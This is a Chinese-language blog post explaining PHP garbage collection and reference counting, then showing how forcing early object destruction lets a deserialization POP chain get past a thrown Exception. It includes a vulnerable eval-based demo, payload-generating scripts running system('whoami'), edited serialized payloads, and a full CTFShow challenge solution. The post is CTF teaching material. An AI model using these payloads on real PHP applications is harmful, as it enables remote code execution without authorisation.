March 2, 2023

PHP GC回收机制及其利用

PHP GC介绍

GC的全称是Garbage Collection也就是垃圾回收的意思
在PHP中,是使用引用计数回收周期来自动管理内存对象的,当一个对象被设置为NULL,或者没有任何指针指向时,他就会变成垃圾,被GC机制回收掉,这里其实就可以理解为当一个对象没有被引用时,也就是基本类型(字符串,整形等等),被引用也就是一个对象(Object),在这可以理解为一个对象没有被引用时就会被GC机制回收
先引入一个函数xdebug_debug_zval,这是用来查看变量容器的内容的:

1
2
3
<?php
$a="Boogipop";
xdebug_debug_zval("a");

image.png
在PHP CG机制当中,当程序结束时就会往变量的refcount减一,如果refcount-1=0的话,那么就会将这个变量销毁

引用计数

在上面的例子中可以看到recount、is_ref2个名字,recount表示的是指向变量a容器的变量个数,is_ref是boolean类型的,表示该变量是否被引用
回到上述例子,在上述例子中定义的是一个字符串类型的变量,因此is_ref==0,因为并没有被引用,但是我们如果修改一下代码,如下:

1
2
3
4
5
<?php
$a="Boogipop";
xdebug_debug_zval("a");
$b=&$a;
xdebug_debug_zval("a");

image.png
可以看到is_ref为1,refcount为2,符合我们上述所说的规则,那假如是数组又会发生什么呢?

1
2
3
4
5
<?php
$a="Boogipop";
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");

image.png
发现在数组中也同样生效,那假如我们再debug之前把变量销毁了呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$a="Boogipop";
$arr=array(0=>"test",1=>&$a);
unset($a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");
//
<?php
$a="Boogipop";
unset($a);
$arr=array(0=>"test",1=>&$a);
xdebug_debug_zval("a");
xdebug_debug_zval("arr");

上述两种情况分别对应2种结果:
image.png
image.png第一种结果虽然结果为空,但是refcount还是不会为1,也就是不会被销毁,而第二种则会被销毁

PHP GC在反序列化中的运用

首先我们引入一个正常的Demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$a=new gc(1);
$b=new gc(2);
$c=new gc(3);

image.png
构造函数创建顺序和销毁顺序都符合我们的预想和规则,在这里用zval函数去看看情况:
image.png
可以看到refcount为1,所以在程序结束时候销毁了,加入我们不给a赋值,就是直接new一个gc类会发生什么?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
new gc(1);
$b=new gc(2);
$c=new gc(3);

image.png
发现1号的析构方法提前触发了,因为这个对象没进行赋值,所以根本不存在引用,因此原地销毁。

绕过Exception异常

这是这个gc回收机制最常出现的地方,在此之前我们继续分析一下上述例子,我们将代码改为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class gc{
public $num;
public function __construct($num)
{
$this->num=$num;
echo "construct(".$num.")"."\n";
}
public function __destruct()
{
echo "destruct(".$this->num.")"."\n";
}
}
$arr=array(0=>new gc(1),1=>NULL);
//$arr[0]=$arr[1];
xdebug_debug_zval('arr');
$b=new gc(2);
$c=new gc(3);

这时输出结果如下:
image.png
很正常的输出结果,假如把注释取消,将0指向NULL,会发生什么?
image.png
和预想中的一样,会原地销毁这个变量,destruct提前触发,那么接下来我们就利用这一点去绕过Exception:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
class gc0{
public $num;
public function __destruct(){
echo $this->num."hello __destruct";
}
}
class gc1{
public $string;
public function __toString() {
echo "hello __toString";
$this->string->flag();
return 'useless';
}
}
class gc2{
public $cmd;
public function flag(){
echo "hello __flag()";
eval($this->cmd);
}
}
$a=unserialize($_GET['code']);
throw new Exception("Garbage collection");
?>

这是一个小案例,很简单的一个pop链,按照正常逻辑来看,触发逻辑很正常就是gc0::__destruct->gc1::__tostring->gc2::flag()
构造正常逻辑pop链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class gc0{
public $num;
}
class gc1{
public $string;
}
class gc2{
public $cmd='system("whoami")';
}
$a=new gc0;
$b=new gc1;
$c=new gc2;
$a->num=$b;
$b->string=$c;
echo serialize($a);

image.png
结果就不出意料的抛出了异常,因为在destruct触发前,触发了Exception,因此在这里就要利用GC回收机制进行一个绕过,我们修改一下pop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class gc0{
public $num;
}
class gc1{
public $string;
}
class gc2{
public $cmd='system("whoami");';
}
$a=new gc0;
$b=new gc1;
$c=new gc2;
$a->num=$b;
$b->string=$c;
$arr=array(0=>$a,1=>NULL);
echo serialize($arr);

得到结果a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:1;N;}这时候我们把键名1改为0,也就是修改结果为a:2:{i:0;O:3:"gc0":1:{s:3:"num";O:3:"gc1":1:{s:6:"string";O:3:"gc2":1:{s:3:"cmd";s:17:"system("whoami");";}}}i:0;N;},这不就等效于将0指向了NULL,从而提前销毁吗
image.png
成功运行whoami指令,这就是一个很好的小案例

CTFShow[卷王杯]easy unserialize

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");

class one {
public $object;

public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
protected $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
}

直接一眼答案法秒杀one::__destruct->second::__call->second::__addMe()->one::__toString->third::__get->one::MeMeMe(),按照常规逻辑就这么构造即可
但是他抛出了异常,我们根据上面的分析,让其滞空即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
<?php
/**
* @Author: F10wers_13eiCheng
* @Date: 2022-02-01 11:25:02
* @Last Modified by: F10wers_13eiCheng
* @Last Modified time: 2022-02-07 15:08:18
*/
include("./HappyYear.php");

class one {
public $year_parm=array("Happy_func");
public $object;


public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
}
});
}

public function __destruct() {
@$this->object->add();
}

public function __toString() {
return $this->object->string;
}
}

class second {
public $filename;

protected function addMe() {
return "Wow you have sovled".$this->filename;
}

public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
}
}

class third {
private $string;

public function __construct($string) {
$this->string = $string;
}

public function __get($name) {
$var = $this->$name;
$var[$name]();
}
}

$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(array("string"=>[new one(),"MeMeMe"]));
$b = array($a,NULL);
echo urlencode(serialize($b));

修改为:a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:6:"second":1:{s:8:"filename";O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";O:5:"third":1:{s:13:"thirdstring";a:1:{s:6:"string";a:2:{i:0;O:3:"one":2:{s:9:"year_parm";a:1:{i:0;s:10:"Happy_func";}s:6:"object";N;}i:1;s:6:"MeMeMe";}}}}}}i:1;N;}
最后URL编码打进去即可

[NSSCTF]prize_p1

一样的知识点,有兴趣去做就行
我懒,直接放链接给你们

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#CTF#GC机制#PHP